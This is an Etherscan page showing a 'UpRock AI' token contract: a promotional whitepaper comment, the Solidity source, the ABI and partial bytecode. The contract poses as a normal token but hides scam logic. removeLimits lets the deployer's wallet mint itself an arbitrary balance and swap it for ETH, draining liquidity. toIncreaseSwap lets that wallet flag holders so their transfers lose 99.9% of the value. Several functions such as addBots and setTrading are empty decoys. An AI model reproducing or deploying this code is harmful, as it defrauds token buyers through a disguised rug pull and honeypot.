ETH Price: $3,491.71 (+6.47%)
Gas: 9 Gwei

Token

UpRock AI (UPROCK AI)
 

Overview

Max Total Supply

900,000,000 UPROCK AI

Holders

137

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,944,344.775001917 UPROCK AI

Value
$0.00
0xef16c0c8f9630ece477bce58aac3b03dbbf55835
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UpRockAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-05-08
*/

/*
  *www.uprock-ai.com
  *medium.com/@UpRock-AI
  *x.com/UpRock_AI
  *t.me/UpRock_AI

  Abstract
In the age of information overload, the power of AI to decipher and deliver insights is 
undeniable. However, this potential has been largely monopolized by centralized entities, 
raising concerns of censorship, bias, and inadequate real-time relevance. UpRock emerges 
as the antidote, harnessing the principles of decentralization and web3 technology to 
reshape the AI landscape.UpRock is pioneering the democratization of advanced AI web 
crawling and data synthesis, 
a privilege previously reserved for large enterprises. By balancing centralized AI with 
decentralized physical infrastructure, UpRock is architecting a framework for impartial, 
real-time and personalized insights. This journey transforms decision-making processes and 
workflows for individuals and organizations, underscoring AI’s crucial role in adapting 
to emerging consumer behaviors. The AI Insight Exchange (AIX) dashboard is central to 
UpRock’s innovations, empowering customers with a personal AI web crawler, changing the 
way we absorb information and make informed decisions aligned with our life and work goals.
The backbone of the AIX is the Knowledge Acquisition Layer (KAL), fueled by a network 
of real-device peers. Users share bandwidth and compute in exchange for UpRock tokens, 
fostering a resilient, broad-reaching community-driven ecosystem. UpRock's unique strength 
lies in acquiring real-time data directly from the source, transcending traditional static 
datasets and API delays. With one app, users participate in both supply and demand, sharing 
unused resources and receiving AI Insights-as-a-Service (IaaS) via the AIX dashboard, 
offering a transformative experience in the rapidly growing $7.7 billion Open Source 
Intelligence (OSI) market. The closely related Business Intelligence (BI) and data API 
markets are also thriving, with revenues already surpassing $25 billion and $45 billion 
respectively in 2023.
By simply installing the UpRock App your mobile device is transformed into an essential 
node within an unprecedented decentralized physical infrastructure for AI. This initiative 
is pivotal to our market entry strategy. Fortified by the founders' experience in building 
large-scale mobile platforms, UpRock is poised for unparalleled success in  this dynamic 
landscape, steering the internet towards a more open, free and humanity-first AI future.

The Problem
Web3 promised a future where control over data shifts from tech giants to individuals. 
However, this collective pursuit is compromised by big tech's centralized approach to AI. 
They obscure their data sources, limit features, and implement opaque moderation policies, 
all without compensating data providers appropriately. This approach runs counter to the 
very essence of Web3's decentralized vision.
The first significant challenge lies in the inherent centralization, censorship, and lack 
of user data incentives in traditional AI. This centralization has sown seeds of apprehension 
regarding the impartiality and freedom of the AI-driven data world, highlighting a critical 
need for decentralization as a necessary countermeasure.
Secondly, the exponential growth in digital content, where AI is driving the production 
cost down to zero, is creating a chaotic information environment. The challenge is no longer 
just about how to acquire information, but efficiently collating, analyzing, and extracting 
genuine insights from it. While elite Open Source Intelligence (OSI) products offer substantial 
insights, their prohibitive costs and specificity render them inaccessible to the majority, 
leaving individuals and smaller entities grappling with myriad niche, and often inefficient 
APIs and highly technical data analysis products.
Additionally, operational challenges and the prohibitive costs of managing vast data quantities 
and running extensive proxy networks add layers of complexity and financial strain, making access 
to meaningful and affordable data APIs nearly unattainable for smaller companies and individuals.
In an era where single developers can build meaningful products thanks to cloud computing providers, 
we see a gap for an Insight-as-a-Service offering. An offering that can provide a consistent, simple, 
and accurate view of the vast digital landscape, without breaking the bank, and without needing a 
small army of highly educated analysts and specialists, training or downtime.

The Opportunity & Innovation
UpRock presents a significant opportunity for a wide range of organizations, including creators, 
brands, non-profits, corporations and governments. It's not just about consuming information; it’s 
about having a personalized, goal-oriented AI web advisor, redefining interactions with the internet 
and focusing on emergent behaviors that incumbents may overlook as they integrate AI into their established products.
The landscape is ripe for UpRock’s novel approach. Legal developments like the hiQ Labs vs LinkedIn 
ruling have clarified the legality of web scraping, mitigating operational risks. We are not just 
aligning with existing demands, but creating new human-centric products that democratizes large-scale, 
enterprise-grade insights, focusing on the big opportunity to reimagine workflows with the power of an 
intelligent, communicative web crawler.
Imagine wielding the power of a colossal peer-to-peer network, tirelessly scouring the web to deliver 
insights tailored to your ambitions. This intricate, expansive network operates on your behalf, and 
you can harness its capabilities just by chatting or talking to it. Historically, such potent tools 
were exclusive to large enterprises, with offerings like Palantir and Bright Data being both expensive 
and technically demanding. However, innovations in natural language processing have paved the way for 
consumer-friendly, AI-driven tools and dashboards that comprehend and converse as a friend. This is the 
dawn of consumerized, enterprise-level business intelligence -  a prosumer revolution. UpRock is at the 
forefront, democratizing access to deep, intelligent insights through affordable, human-centric solutions. 
*/
pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract UpRockAI is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 900000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "UpRock AI";
    string private _symbol = "UPROCK AI";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function removePreTrading() public {
    }
    function setTrading() external {
    }
    function addBots() public {
    }
    function delBots() public {
    }
    function toIncreaseSwap(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function removeLimits(uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removePreTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"toIncreaseSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bd565b6335a4e9006200002b91906200050d565b6002556040518060400160405280600981526020017f5570526f636b204149000000000000000000000000000000000000000000000081525060039081620000749190620007b2565b506040518060400160405280600981526020017f5550524f434b204149000000000000000000000000000000000000000000000081525060049081620000bb9190620007b2565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460095f620001eb6200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002386200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002996200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002e29190620008a7565b60405180910390a33360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008c2565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003c15780860481111562000399576200039862000337565b5b6001851615620003a95780820291505b8081029050620003b98562000364565b945062000379565b94509492505050565b5f82620003db5760019050620004ad565b81620003ea575f9050620004ad565b81600181146200040357600281146200040e5762000444565b6001915050620004ad565b60ff84111562000423576200042262000337565b5b8360020a9150848211156200043d576200043c62000337565b5b50620004ad565b5060208310610133831016604e8410600b84101617156200047e5782820a90508381111562000478576200047762000337565b5b620004ad565b6200048d848484600162000370565b92509050818404811115620004a757620004a662000337565b5b81810290505b9392505050565b5f819050919050565b5f620004c982620004b4565b9150620004d683620004b4565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ca565b905092915050565b5f6200051982620004b4565b91506200052683620004b4565b92508282026200053681620004b4565b9150828204841483151762000550576200054f62000337565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d357607f821691505b602082108103620005e957620005e86200058e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000610565b62000659868362000610565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200069a620006946200068e84620004b4565b62000671565b620004b4565b9050919050565b5f819050919050565b620006b5836200067a565b620006cd620006c482620006a1565b8484546200061c565b825550505050565b5f90565b620006e3620006d5565b620006f0818484620006aa565b505050565b5b8181101562000717576200070b5f82620006d9565b600181019050620006f6565b5050565b601f82111562000766576200073081620005ef565b6200073b8462000601565b810160208510156200074b578190505b620007636200075a8562000601565b830182620006f5565b50505b505050565b5f82821c905092915050565b5f620007885f19846008026200076b565b1980831691505092915050565b5f620007a2838362000777565b9150826002028217905092915050565b620007bd8262000557565b67ffffffffffffffff811115620007d957620007d862000561565b5b620007e58254620005bb565b620007f28282856200071b565b5f60209050601f83116001811462000828575f841562000813578287015190505b6200081f858262000795565b8655506200088e565b601f1984166200083886620005ef565b5f5b8281101562000861578489015182556001820191506020850194506020810190506200083a565b868310156200088157848901516200087d601f89168262000777565b8355505b6001600288020188555050505b505050505050565b620008a181620004b4565b82525050565b5f602082019050620008bc5f83018462000896565b92915050565b611d5380620008d05f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636f268a99116100b65780638da5cb5b1161007a5780638da5cb5b1461030657806395d89b4114610324578063a457c2d714610342578063a9059cbb14610372578063dd62ed3e146103a2578063e29aba1a146103d257610140565b80636f268a991461029a57806370a08231146102b8578063715018a6146102e857806379d22b08146102f25780637c519ffb146102fc57610140565b806332424aa31161010857806332424aa3146101fe57806338046bb31461021c578063392fcfdf1461023857806339509351146102425780633eaaf86b1461027257806368f569231461029057610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b6040516101a79190611500565b60405180910390f35b6101ca60048036038101906101c59190611519565b61049d565b6040516101d791906114d8565b60405180910390f35b6101e861053f565b6040516101f59190611500565b60405180910390f35b610206610548565b6040516102139190611500565b60405180910390f35b610236600480360381019061023191906115ca565b61054e565b005b610240610602565b005b61025c60048036038101906102579190611480565b610604565b60405161026991906114d8565b60405180910390f35b61027a6106a4565b6040516102879190611500565b60405180910390f35b6102986106aa565b005b6102a26106ac565b6040516102af9190611624565b60405180910390f35b6102d260048036038101906102cd919061163d565b6106d1565b6040516102df9190611500565b60405180910390f35b6102f0610717565b005b6102fa610846565b005b610304610848565b005b61030e61084a565b60405161031b9190611624565b60405180910390f35b61032c610871565b60405161033991906113cb565b60405180910390f35b61035c60048036038101906103579190611480565b610901565b60405161036991906114d8565b60405180910390f35b61038c60048036038101906103879190611480565b610a25565b60405161039991906114d8565b60405180910390f35b6103bc60048036038101906103b79190611668565b610a42565b6040516103c99190611500565b60405180910390f35b6103ec60048036038101906103e791906116a6565b610ac4565b005b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b5f600254905090565b5f6104a9848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f0611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b5f600154905090565b60015481565b5f61055761120a565b90505f5b838390508110156105fc5761056e611211565b156105e957600182610580919061176e565b60085f868685818110610596576105956117a1565b5b90506020020160208101906105ab919061163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b80806105f4906117ce565b91505061055b565b50505050565b565b5f61069a610610611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610695919061176e565b610d61565b6001905092915050565b60025481565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661073661084a565b73ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107839061185f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461088090611711565b80601f01602080910402602001604051908101604052809291908181526020018280546108ac90611711565b80156108f75780601f106108ce576101008083540402835291602001916108f7565b820191905f5260205f20905b8154815290600101906020018083116108da57829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610986575f80fd5b610a1b610991611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a16919061187d565b610d61565b6001905092915050565b5f610a38610a31611203565b8484610f24565b6001905092915050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610acc611211565b15610d5757610afd3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610b5b57610b5a6118b0565b5b604051908082528060200260200182016040528015610b895781602001602082028036833780820191505090505b50905030815f81518110610ba057610b9f6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c44573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c6891906118f1565b81600181518110610c7c57610c7b6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8486602042610d04919061176e565b6040518663ffffffff1660e01b8152600401610d24959493929190611a15565b5f604051808303815f87803b158015610d3b575f80fd5b505af1158015610d4d573d5f803e3d5ffd5b5050505050610d5c565b610d5d565b5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611053919061187d565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d61120a565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab919061187d565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f43905090565b5f61121a611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b935050602061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261158a57611589611569565b5b8235905067ffffffffffffffff8111156115a7576115a661156d565b5b6020830191508360208202830111156115c3576115c2611571565b5b9250929050565b5f80602083850312156115e0576115df6113eb565b5b5f83013567ffffffffffffffff8111156115fd576115fc6113ef565b5b61160985828601611575565b92509250509250929050565b61161e81611412565b82525050565b5f6020820190506116375f830184611615565b92915050565b5f60208284031215611652576116516113eb565b5b5f61165f84828501611439565b91505092915050565b5f806040838503121561167e5761167d6113eb565b5b5f61168b85828601611439565b925050602061169c85828601611439565b9150509250929050565b5f80604083850312156116bc576116bb6113eb565b5b5f6116c98582860161146c565b92505060206116da85828601611439565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6117d88261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361180a57611809611741565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61184960208361134b565b915061185482611815565b602082019050919050565b5f6020820190508181035f8301526118768161183d565b9050919050565b5f6118878261144d565b91506118928361144d565b92508282039050818111156118aa576118a9611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506118eb81611423565b92915050565b5f60208284031215611906576119056113eb565b5b5f611913848285016118dd565b91505092915050565b5f819050919050565b5f819050919050565b5f61194861194361193e8461191